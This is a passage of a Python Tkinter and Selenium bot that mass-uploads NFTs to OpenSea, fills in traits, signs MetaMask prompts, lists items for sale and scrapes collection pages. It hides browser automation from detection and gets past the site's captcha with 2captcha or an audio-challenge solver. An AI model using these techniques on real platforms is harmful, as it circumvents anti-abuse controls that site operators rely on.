| if yenilendi == True : 345 | wait_xpath('//*[@id="name"]') 346 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 347 | yenilendi = False 348 | if len(name.get_attribute("value")) == 0: 349 | if kacinci < 10 : 350 | kacinci = kacinci + 1 351 | if kacinci == 1: 352 | start = timeit.default_timer() 353 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 354 | time.sleep(3) 355 | else : 356 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object 357 | outputfile.write("This Page Needed To Be Refreshed \n") 358 | yenilendi = True 359 | kacinci = 0 360 | driver.refresh() 361 | else: 362 | name_i = 0 363 | stop = timeit.default_timer() 364 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object 365 | outputfile.write("Total Retries : " + str(kacinci) + " :: " +"Total Time : " + str((stop - start)) + "\n") 366 | 367 | 368 | wait_xpath('//*[@id="media"]') 369 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]') 370 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here 371 | imageUpload.send_keys(imagePath) 372 | time.sleep(random.uniform(2.1, 4.9)) 373 | #HKN Finish 374 | 375 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]') 376 | ext_link.send_keys(loop_external_link) 377 | time.sleep(sleeptime) 378 | 379 | desc = driver.find_element(By.XPATH, '//*[@id="description"]') 380 | desc.send_keys(loop_description) 381 | time.sleep(sleeptime) 382 | 383 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json" 384 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK): 385 | 386 | #print(str(jsonMetaData)) 387 | wait_css_selector("button[aria-label='Add properties']") 388 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']") 389 | driver.execute_script("arguments[0].click();", properties) 390 | time.sleep(sleeptime) 391 | 392 | # checks if file exists 393 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read()) 394 | 395 | if "attributes" in jsonData: 396 | jsonMetaData = jsonData['attributes'] 397 | 398 | for key in jsonMetaData: 399 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 400 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 401 | #print(str(key['trait_type'])) 402 | #print(str(key['value'])) 403 | input1.send_keys(str(key['trait_type'])) 404 | input2.send_keys(str(key['value'])) 405 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 406 | driver.execute_script("arguments[0].click();", addmore_button) 407 | time.sleep(sleeptime) 408 | 409 | try: 410 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 411 | driver.execute_script("arguments[0].click();", save_button) 412 | time.sleep(sleeptime) 413 | except: 414 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 415 | time.sleep(sleeptime) 416 | 417 | elif "properties" in jsonData: 418 | jsonMetaData = jsonData['properties'] 419 | 420 | wait_xpath('//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')#HKN 421 | for key in jsonMetaData: 422 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 423 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 424 | #print(str(key['type'])) 425 | #print(str(key['name'])) 426 | input1.send_keys(str(key['type'])) 427 | input2.send_keys(str(key['name'])) 428 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 429 | driver.execute_script("arguments[0].click();", addmore_button) 430 | time.sleep(sleeptime) 431 | 432 | try: 433 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 434 | driver.execute_script("arguments[0].click();", save_button) 435 | time.sleep(sleeptime) 436 | except: 437 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 438 | time.sleep(sleeptime) 439 | 440 | else: 441 | print("keys not found!") 442 | 443 | # Select Polygon blockchain if applicable 444 | wait_xpath('//*[@id="chain"]') 445 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value") 446 | blockchain_dropdown = driver.find_element(By.ID, "chain") 447 | driver.execute_script("arguments[0].scrollIntoView();", blockchain_dropdown ) 448 | # print(default_blockchain) 449 | 450 | if is_polygon.get(): 451 | print("polygon") 452 | 453 | 454 | else: 455 | print("eth") 456 | 457 | 458 | # delay() 459 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button') 460 | driver.execute_script("arguments[0].click();", create) 461 | time.sleep(sleeptime) 462 | 463 | #HKN S 464 | wait_E = True 465 | while wait_E: 466 | try: 467 | #wait_xpath('//h4[text()="Almost done"]') 468 | WebDriverWait(driver, 15).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//h4[text()="Almost done"]' ))) 469 | wait_E = False 470 | except: 471 | print("Click Again") 472 | driver.execute_script("arguments[0].click();", create) 473 | wait_E = True 474 | #HKN F 475 | 476 | main_page = driver.current_window_handle 477 | 478 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'): 479 | wait_xpath('//h4[text()="Almost done"]') 480 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]') 481 | 482 | if check_exists_by_tagname('iframe'): 483 | # print("have iframe") 484 | 485 | captcha_solver = captcha_value.get() 486 | 487 | if captcha_solver == "2captcha": # 2 captcha 488 | delay() 489 | solved_info = WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" )))#HKN 490 | # solved_status = WebDriverWait(driver, 10).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" ))).get_attribute("innerHTML") 491 | # print(str(solved_status)) 492 | wait_xpath("//div[@class='captcha-solver']") 493 | captcha_solver_button = driver.find_element(By.XPATH, "//div[@class='captcha-solver']") 494 | driver.execute_script("arguments[0].click();", captcha_solver_button) 495 | time.sleep(sleeptime) 496 | WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solving']" )))#HKN 497 | print("solving") 498 | #WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solved']")))#HKN 499 | #print("solved")#HKN 500 | 501 | elif captcha_solver == "buster": # !!! Buster Captcha 502 | 503 | iframes = driver.find_elements(By.TAG_NAME, "iframe") 504 | driver.switch_to.frame(iframes[0]) 505 | 506 | try: 507 | checkbox_button = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.ID ,"recaptcha-anchor"))) 508 | checkbox_button.click() 509 | except: 510 | pass 511 | 512 | driver.switch_to.default_content() 513 | # driver.switch_to.frame(iframes[-1]) 514 | 515 | # click on audio challenge 516 | WebDriverWait(driver, 10).until(ExpectedConditions.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[title='recaptcha challenge expires in two minutes']"))) 517 | time.sleep(1) 518 | 519 | try: 520 | # capt_btn = WebDriverWait(driver, 50).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="recaptcha-audio-button"]'))) 521 | wait_xpath('/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]') 522 | capt_btn = driver.find_element(By.XPATH, '/html/body/div[1]/div/div[3]/div[2]/div[1]/div[1]/div[4]') 523 | capt_btn.click() 524 | time.sleep(sleeptime) 525 | except: 526 | # capt_btn = WebDriverWait(driver, 10).until(ExpectedConditions.element_to_be_clickable((By.XPATH ,'//*[@id="solver-button"]'))) 527 | capt_btn = driver.find_element_by_xpath("//button[@id='solver-button']") 528 | driver.execute_script("arguments[0].click();", capt_btn) 529 | time.sleep(sleeptime) 530 | 531 | driver.switch_to.default_content() 532 | time.sleep(sleeptime) 533 | 534 | else: 535 | pass 536 | 537 | 538 | else: 539 | print("no captcha") 540 | 541 | try: 542 | WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//a[text()="Sell"] | /html/body/div[6]/div/div/div/div[2]/button/i | //div[@class="item--collection-detail"]'))) 543 | time.sleep(4) 544 | except: 545 | if "https://opensea.io/assets" in str(driver.current_url): 546 | #driver.get(driver.current_url) 547 | print("assets page refreshed") 548 | driver.refresh() 549 | time.sleep(5) 550 | 551 | #HKN S 552 | wait_E = True 553 | while wait_E: 554 | try: 555 | WebDriverWait(driver, 15).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@class="item--collection-detail"]'))) 556 | wait_E = False 557 | except: 558 | if "https://opensea.io/assets" in str(driver.current_url): 559 | #driver.get(driver.current_url) 560 | print("assets page refreshed 222") 561 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object 562 | outputfile.write("This Page Needed To Be Refreshed for assets page refreshed 222 \n") 563 | driver.refresh() 564 | time.sleep(5) 565 | wait_E = True 566 | #HKN F 567 | WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@class="item--collection-detail"]'))) 568 | 569 | 570 | #try: 571 | #delay() 572 | #cross = WebDriverWait(driver, 720).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i'))) 573 | #time.sleep(2) 574 | #cross.click() 575 | #time.sleep(sleeptime) 576 | #except: 577 | #delay() 578 | #cross = WebDriverWait(driver, 720).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i'))) 579 | #time.sleep(2) 580 | #driver.execute_script("arguments[0].click();", cross) 581 | #time.sleep(sleeptime) 582 | #HKN Başlangıç 583 | 584 | with open(os.path.join(sys.path[0], "URL.txt"), 'a') as outputfile: # Use file to refer to the file object 585 | outputfile.write(loop_title + str(start_numformat) + "," + driver.current_url + "\n") 586 | #HKN Bitiş 587 | #LISTING START - listing start 588 | main_page = driver.current_window_handle 589 | if is_listing.get(): 590 | time.sleep(2) 591 | try: 592 | wait_xpath('//a[text()="Sell"]') 593 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]') 594 | driver.execute_script("arguments[0].click();", sell) 595 | time.sleep(sleeptime) 596 | except: 597 | if "https://opensea.io/assets" in str(driver.current_url): 598 | driver.get(driver.current_url +"/sell") 599 | time.sleep(sleeptime) 600 | else: 601 | return 602 | 603 | wait_css_selector("input[placeholder='Amount']") 604 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']") 605 | amount.send_keys(str(loop_price)) 606 | time.sleep(sleeptime) 607 | 608 | #duration 609 | duration_date = duration_value.get() 610 | #print(duration_date) 611 | 612 | #if duration_date != 30: 613 | amount.send_keys(Keys.TAB) 614 | time.sleep(sleeptime) 615 | 616 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input') 617 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input') 618 | select_durationday.click() 619 | if duration_date == 1 : 620 | range_button_location = '//span[normalize-space() = "1 day"]' 621 | if duration_date == 3 : 622 | range_button_location = '//span[normalize-space() = "3 days"]' 623 | if duration_date == 7 : 624 | range_button_location = '//span[normalize-space() = "7 days"]' 625 | if duration_date == 30 : 626 | range_button_location = '//span[normalize-space() = "1 month"]' 627 | if duration_date == 90 : 628 | range_button_location = '//span[normalize-space() = "3 months"]' 629 | if duration_date == 180 : 630 | range_button_location = '//span[normalize-space() = "6 months"]' 631 | 632 | wait.until(ExpectedConditions.presence_of_element_located( 633 | (By.XPATH, range_button_location))) 634 | ethereum_button = driver.find_element( 635 | By.XPATH, range_button_location) 636 | ethereum_button.click() 637 | time.sleep(sleeptime)# dikkat 638 | select_durationday.send_keys(Keys.ENTER) 639 | time.sleep(sleeptime) 640 | 641 | delay() 642 | wait_css_selector("button[type='submit']") 643 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 644 | driver.execute_script("arguments[0].click();", listing) 645 | 646 | #HKN S 647 | wait_E = True 648 | while wait_E: 649 | try: 650 | wait_xpath('//div[@role="dialog"]//h4[contains(text(), "Complete your listing")]')#HKN 651 | wait_E = False 652 | except: 653 | wait_css_selector("button[type='submit']") 654 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 655 | driver.execute_script("arguments[0].click();", listing) 656 | wait_E = True 657 | #HKN F 658 | 659 | #if is_polygon.get(): 660 | #WebDriverWait(driver, 60).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//button[text()='Sign']")))#HKN 661 | #driver.find_element(By.XPATH, '//button[text()="Sign"]').click() 662 | #time.sleep(2) 663 | 664 | 665 | login_page=""#HKN 666 | time.sleep(2)#HKN 667 | 668 | 669 | for handle in driver.window_handles: 670 | if handle != main_page: 671 | login_page = handle 672 | #break 673 | #HKN S 674 | wait_E = True 675 | attempts_n = 1 676 | while wait_E: 677 | if login_page !="": 678 | driver.switch_to.window(login_page) 679 | wait_E = False 680 | else: 681 | time.sleep(2) 682 | if len(driver.window_handles) == 2: 683 | for handle in driver.window_handles: 684 | if handle != main_page: 685 | login_page = handle 686 | elif attempts_n > 4: 687 | try: 688 | #WebDriverWait(driver, 3).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@role="dialog"]//h4[contains(text(), "Complete your listing")]')))#HKN 689 | wait_css_selector("button[type='submit']") 690 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 691 | driver.execute_script("arguments[0].click();", listing) 692 | except: 693 | print("i can't click") 694 | attempts_n = attempts_n + 1 695 | 696 | #HKN F 697 | 698 | 699 | if is_polygon.get(): 700 | try: 701 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 702 | time.sleep(0.7) 703 | except: 704 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 705 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 706 | 707 | 708 | driver.execute_script("arguments[0].click();", polygonscrollsign) 709 | time.sleep(0.7) 710 | 711 | try: 712 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 713 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 714 | time.sleep(0.7) 715 | except: 716 | wait_xpath('//button[text()="Sign"]') 717 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 718 | driver.execute_script("arguments[0].click();", metasign) 719 | time.sleep(0.7) 720 | 721 | else: 722 | try: 723 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 724 | time.sleep(0.7) 725 | except: 726 | WebDriverWait(driver, 240).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//div[@class='signature-request-message__scroll-button']")))#HKN 727 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 728 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 729 | driver.execute_script("arguments[0].click();", scrollsign) 730 | time.sleep(0.7) 731 | 732 | try: 733 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 734 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 735 | time.sleep(0.7) 736 | except: 737 | wait_xpath('//button[text()="Sign"]') 738 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 739 | driver.execute_script("arguments[0].click();", metasign) 740 | time.sleep(0.7) 741 | with open(os.path.join(sys.path[0], "Log_Listing.txt"), 'a') as outputfile: # Use file to refer to the file object 742 | outputfile.write(listing_item_name + "\n") 743 | 744 | #change control to main page 745 | driver.switch_to.window(main_page) 746 | time.sleep(1) 747 | 748 | start_num = start_num + 1 749 | print('NFT creation completed!') 750 | time.sleep(2) 751 | 752 | driver.get("https://www.opensea.io") 753 | 754 | 755 | 756 | def collection_scraper():#HKN 757 | 758 | collection_links=[] 759 | first_top_list=[] 760 | line_count=0 761 | 762 | project_path = main_directory 763 | options = webdriver.ChromeOptions() 764 | options.add_argument("--disable-blink-features=AutomationControlled") 765 | options.add_experimental_option("debuggerAddress", "localhost:8989") 766 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options) 767 | wait = WebDriverWait(driver, 60) 768 | #driver.get(driver.current_url+"?search[sortAscending]=true&search[sortBy]=CREATED_DATE")# collection link 769 | print("Wait 55 Seconds") 770 | #time.sleep(55) 771 | for sny in range(55): 772 | print(str(55-sny)) 773 | time.sleep(1) 774 | 775 | #wait = WebDriverWait(driver, 60) 776 | def wait_xpath(code): 777 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 778 | 779 | my_divs = WebDriverWait(driver, 120).until(ExpectedConditions.presence_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top")]'))) 780 | 781 | for my_div in my_divs: 782 | #print(my_div.value_of_css_property("top")) 783 | top_list_item =int(my_div.value_of_css_property("top").replace("px", "")) 784 | if(top_list_item > 0): 785 | first_top_list.append(top_list_item) 786 | elif(top_list_item == 0): 787 | line_count = line_count + 1 788 | 789 | find_min = min(first_top_list) 790 | control_line = len(set(first_top_list))-1 791 | Top_value = 0 792 | 793 | next_nft = driver.find_element(By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]') 794 | driver.execute_script("arguments[0].scrollIntoView(true);",next_nft) 795 | print("Wait 5 Seconds") 796 | time.sleep(5) 797 | 798 | #total_items=int(Total_Items.input_field.get()) #HKN 799 | #collection_count_text = driver.find_element(By.XPATH, '//div[@class="AssetSearchView--results-count"]/p').text 800 | collection_count_text = driver.find_element(By.XPATH, '//div[@class="AssetSearchView--results collection--results AssetSearchView--results--phoenix"]//p').text 801 | c_num = "" 802 | for c in collection_count_text: 803 | if c.isdigit(): 804 | c_num = c_num + c 805 | total_items = int(c_num) 806 | 807 | total_line =3 808 | if int(total_items/line_count) != (total_items/line_count): 809 | total_line = int(total_items/line_count) +1 810 | else: 811 | total_line = total_items/line_count 812 | 813 | for my_line in range(total_line):#total_line or some integer like 20 814 | #presence_of_all_elements_located 815 | if my_line !=0 and my_line%50==0: 816 | for sny in range(60): 817 | print(str(60-sny)) 818 | time.sleep(1) 819 | 820 | if my_line<(total_line-control_line-1): 821 | WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value + find_min * control_line) +'px")][last()='+str(line_count)+']'))) 822 | elif my_line == (total_line-control_line-1): 823 | print("Wait 30 Seconds") 824 | time.sleep(30) 825 | 826 | last_string='[last()='+str(line_count)+']' 827 | if (my_line + 1) == total_line: 828 | last_string ="" 829 | nftler = WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]'+ last_string))) 830 | for my_nft in nftler: 831 | #for sayi in range(5): 832 | #WebDriverWait(driver, 120).until(ExpectedConditions.visibility_of_all_elements_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]['+str(sayi+1)+']//div[@class="AssetCardFooter--name"][string-length(text()) > 0]' ))) 833 | wait_E = True 834 | while wait_E: 835 | try: 836 | #nft_Name = my_nft.find_element(By.XPATH, './/div[@class="AssetCardFooter--name"]').text 837 | nft_Name = my_nft.find_element(By.XPATH, './/a//img').get_attribute('alt') 838 | nft_Link = my_nft.find_element(By.XPATH, './/a').get_attribute('href') 839 | print(my_nft.find_element(By.XPATH, './/a').get_attribute('href')) 840 | with open(os.path.join(sys.path[0], "Scraper.txt"), 'a') as outputfile: # Use file to refer to the file object 841 | outputfile.write(nft_Name + "," + nft_Link + "\n") 842 | wait_E = False 843 | except: 844 | print("Nftnin bir bilgisi bulunamadı tekrar deneniyor") 845 | wait_E = True 846 | 847 | #time.sleep(0.1) 848 | print("My Line : " + str(my_line)) 849 | if (my_line + 1) != total_line: 850 | Top_value = Top_value + find_min 851 | WebDriverWait(driver, 120).until(ExpectedConditions.presence_of_element_located((By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]'))) 852 | next_nft = driver.find_element(By.XPATH, '//div[@role="gridcell" or @role="card"][contains(@style,"top: '+ str(Top_value) +'px")]') 853 | driver.execute_script("arguments[0].scrollIntoView(true); window.scrollBy(0,60);",next_nft) 854 | #time.sleep(2) 855 | 856 | #driver.execute_script('element = document.body.querySelector("style[top="'+ str(Top_value) +'px"]"); element.scrollIntoView();') 857 | 858 | #my_script = """myInterval = setInterval(function() {document.documentElement.scrollTop +="""+str(Top_value/4)+""";}, 500); 859 | #setTimeout(function() {clearInterval(myInterval)}, 2000); 860 | #""" 861 | #driver.execute_script(my_script) 862 | #driver.execute_script('document.documentElement.scrollTop +='+ str(Top_value)) 863 | #time.sleep(10) 864 | 865 | def remove_duplicates(liste): 866 | liste2 = [] 867 | if liste: 868 | for item in liste: 869 | if item not in liste2: 870 | liste2.append(item) 871 | else: 872 | return liste 873 | return liste2 874 | 875 | def modify_Scrape_txt():#HKN 876 | 877 | def num_sort(test_string): 878 | return list(map(int, re.findall(r'(?<=#)(.*)(?=,)', test_string)))[0] 879 | Lines = [] 880 | with open(os.path.join(sys.path[0], "Scraper.txt"), 'r') as scraped_list: # Use file to refer to the file object 881 | #scraped_list.seek(0) 882 | Lines = scraped_list.readlines() 883 | Lines = remove_duplicates(Lines) 884 | Lines.sort(key=num_sort) 885 | #Lines = remove_duplicates(Lines).sort() 886 | with open(os.path.join(sys.path[0], "modified_Scraper.txt"), 'a') as outputfile: # Use file to refer to the file object 887 | for line in Lines: 888 | outputfile.write(str(line)) 889 | 890 | def qf(quickPrint="test"): 891 | print(len(driver.window_handles)) 892 | 893 | duration_value = IntVar() 894 | duration_value.set(value=180) 895 | duration_date = Frame(root, padx=0, pady=1) 896 | duration_date.grid(row=15, column=1, sticky=(N, W, E, S)) 897 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=6,).grid(row=0, column=1) 898 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=6, ).grid(row=0, column=2) 899 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=6,).grid(row=0, column=3) 900 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=7,).grid(row=0, column=4) 901 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=7,).grid(row=0, column=5) 902 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=7).grid(row=0, column=6) 903 | duration_date.label = Label(root, text="Duration:", anchor="nw", width=20, height=2 ) 904 | duration_date.label.grid(row=15, column=0, padx=12, pady=0) 905 | 906 | captcha_value = StringVar() 907 | captcha_value.set(value="2captcha") 908 | captcha_date = Frame(root, padx=0, pady=1) 909 | captcha_date.grid(row=16, column=1, sticky=(N, W, E, S)) 910 | tk.Radiobutton(captcha_date, text='2 Captcha', variable=captcha_value, value="2captcha", anchor="w", command=save_captcha, width=8,).grid(row=0, column=1) 911 | tk.Radiobutton(captcha_date, text="Buster", variable=captcha_value, value="buster", anchor="w", command=save_captcha, width=8, ).grid(row=0, column=2) 912 | captcha_date.label = Label(root, text="Captcha:", anchor="nw", width=20, height=2 ) 913 | captcha_date.label.grid(row=16, column=0, padx=12, pady=0) 914 | 915 | isSensitive = tkinter.Checkbutton(root, text='Sensitive Content', var=is_sensitivecontent, width=49, anchor="w") 916 | isSensitive.grid(row=17, column=1) 917 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w") 918 | isCreate.grid(row=19, column=1) 919 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w") 920 | isPolygon.grid(row=20, column=1) 921 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input) 922 | upload_folder_input_button.grid(row=21, column=1, padx=2) 923 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile) 924 | open_browser.grid(row=23, column=1, pady=2) 925 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save) 926 | button_save.grid(row=22, column=1, pady=2) 927 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=partial(main_program_loop, "Full"))#command=lambda: main_program_loop("Full") 928 | button_start['font'] = font.Font(size=10, weight='bold') 929 | button_start.grid(row=25, column=1, pady=2) 930 | 931 | button_collection_scraper = tkinter.Button(root, width=22, height=2, bg="red", fg="white", text="SCRAPE Collection", command=collection_scraper) 932 | button_collection_scraper['font'] = font.Font(size=10, weight='bold') 933 | button_collection_scraper.grid(row=27, column=1, pady=2) 934 | button_onlyListing = tkinter.Button(root, width=44, height=2, bg="#aa5533", fg="white", text="ONLY Listing", command=partial(main_program_loop, "OnlyListing")) 935 | button_onlyListing['font'] = font.Font(size=10, weight='bold') 936 | button_onlyListing.grid(row=29, column=1, pady=2) 937 | button_modify_Scrape_txt = tkinter.Button(root, width=22, height=2, bg="orange", fg="black", text="Modify Scraped Text", command=modify_Scrape_txt) 938 | button_modify_Scrape_txt['font'] = font.Font(size=10, weight='bold') 939 | button_modify_Scrape_txt.grid(row=28, column=1, pady=2) 940 | #button_test = tkinter.Button(root, width=44, height=2, bg="#aa5533", fg="white", text="Test", command=lambda: qf("OnlyListing")) 941 | #button_test['font'] = font.Font(size=10, weight='bold') 942 | #button_test.grid(row=30, column=1, pady=2) 943 | #HKN 944 | #Total_Items = InputField("Total İtems:", 26, 0, 10, 10) 945 | #Control_Line_Number = InputField("Control Line Number:", 28, 0, 11, 40) 946 | #Items_In_Line = InputField("İtems Number in Line:", 29, 0, 12, 40) 947 | 948 | 949 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE ) 950 | footer.grid(row=31, columnspan=2, padx=31, pady=31) 951 | 952 | try: 953 | with open(save_file_path(), "rb") as infile: 954 | new_dict = pickle.load(infile) 955 | global upload_path 956 | Name_change_img_folder_button(new_dict[0]) 957 | upload_path = new_dict[0] 958 | except FileNotFoundError: 959 | pass 960 | #####BUTTON ZONE END####### 961 | root.mainloop() 962 | --------------------------------------------------------------------------------